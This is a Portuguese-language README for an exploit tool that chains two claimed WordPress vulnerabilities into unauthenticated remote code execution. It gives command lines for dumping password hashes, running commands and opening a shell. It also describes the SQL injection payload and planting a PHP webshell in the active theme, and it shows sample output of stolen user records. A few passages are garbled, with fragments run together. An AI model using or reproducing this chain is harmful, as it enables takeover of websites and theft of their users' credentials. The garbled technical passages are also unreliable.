
CVE-2026-63030 / wp2shell
Cadeia de exploits RCE WordPress one-day. Sem autenticação. CVSS 9.8.
Zero dependências — apenas stdlib Python 3.8+.
| Versão | Vulnerável | Corrigida |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Dois CVEs encadeados em Execução Remota de Código sem autenticação:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
O endpoint de lote do WordPress em /?rest_route=/batch/v1 aceita um array de sub-requisições. Quando uma sub-requisição tem um caminho não analisável (///), um WP_Error é adicionado a $validation, mas não a $matches. O loop de despacho então emparelha a requisição N com o manipulador N+1 — portanto, uma requisição validada contra um esquema é despachada para um manipulador diferente.
O exploit envia um lote aninhado de 3 camadas, onde cada camada usa um primer de dessincronização na posição 0 para deslocar os índices. A requisição mais interna — validada como um item de post único (GET /wp/v2/posts/999999) — vai parar no manipulador de coleção (posts->get_items()). Como o esquema do item não define author_exclude, o parâmetro passa sem validação.
get_items() mapeia author_exclude → author__not_in e o passa para WP_Query. Quando author__not_in é uma string (não um array), o bloco array_map('absint', …) é ignorado. A string crua vai parar diretamente em:
WHERE post_author NOT IN (<payload>)
O payload 0) UNION ALL SELECT …-- - fecha a lista NOT IN e acrescenta SQL arbitrário.
O wp_posts do WordPress 7.0.x tem exatamente 23 colunas. Ao injetar uma linha forjada via UNION ALL SELECT com orderby=none (suprime o ORDER BY final) e per_page=500 (mantém o WP_Query no modo de linha completa), o título do post forjado — contendo um marcador ||HEX|| — é refletido na resposta REST. Todos os valores de string usam literais hexadecimais do MySQL (0x…) para evitar problemas de escape de aspas na codificação de URL.
[embed] → o WordPress cria 3 linhas de oembed_cachewp_posts formando uma cadeia de changeset do customizer[embed] é renderizado, o que aciona WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) e senha (Wp2!<random>)Faça login como o novo admin → extraia o nonce do editor de temas → injete webshell PHP protegida por token no topo do functions.php do tema ativo → acesse via ?t=<token>&c=<command>.
urllib, json, re, hashlib, secrets, html)wp_remote_post() antes de salvar. Se o contêiner não conseguir alcançar a si mesmo pelo hostname, a edição do tema é bloqueada. Nesses casos, use --dump-users + login manual.--check primeiro.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
Esta ferramenta é apenas para pesquisa de segurança autorizada e fins educacionais. Use-a apenas contra sistemas que você possui ou para os quais tenha permissão explícita para testar. Os autores não assumem nenhuma responsabilidade por uso indevido.
| Etapa | CVE | Vetor |
|---|
| 1 | CVE-2026-63030 | desalinhamento de índice do REST /batch/v1 dessincroniza a validação do despacho |
| 2 | CVE-2026-60137 | o parâmetro author__not_in do WP_Query ignora absint() quando passado como string |
| 3 | — | UNION SELECT forja linhas de wp_posts; oEmbed → customizer → wp_insert_user |
| 4 | — | Autenticar como o administrador recém-criado |
| 5 | — | O editor de temas injeta webshell protegida por token no tema ativo |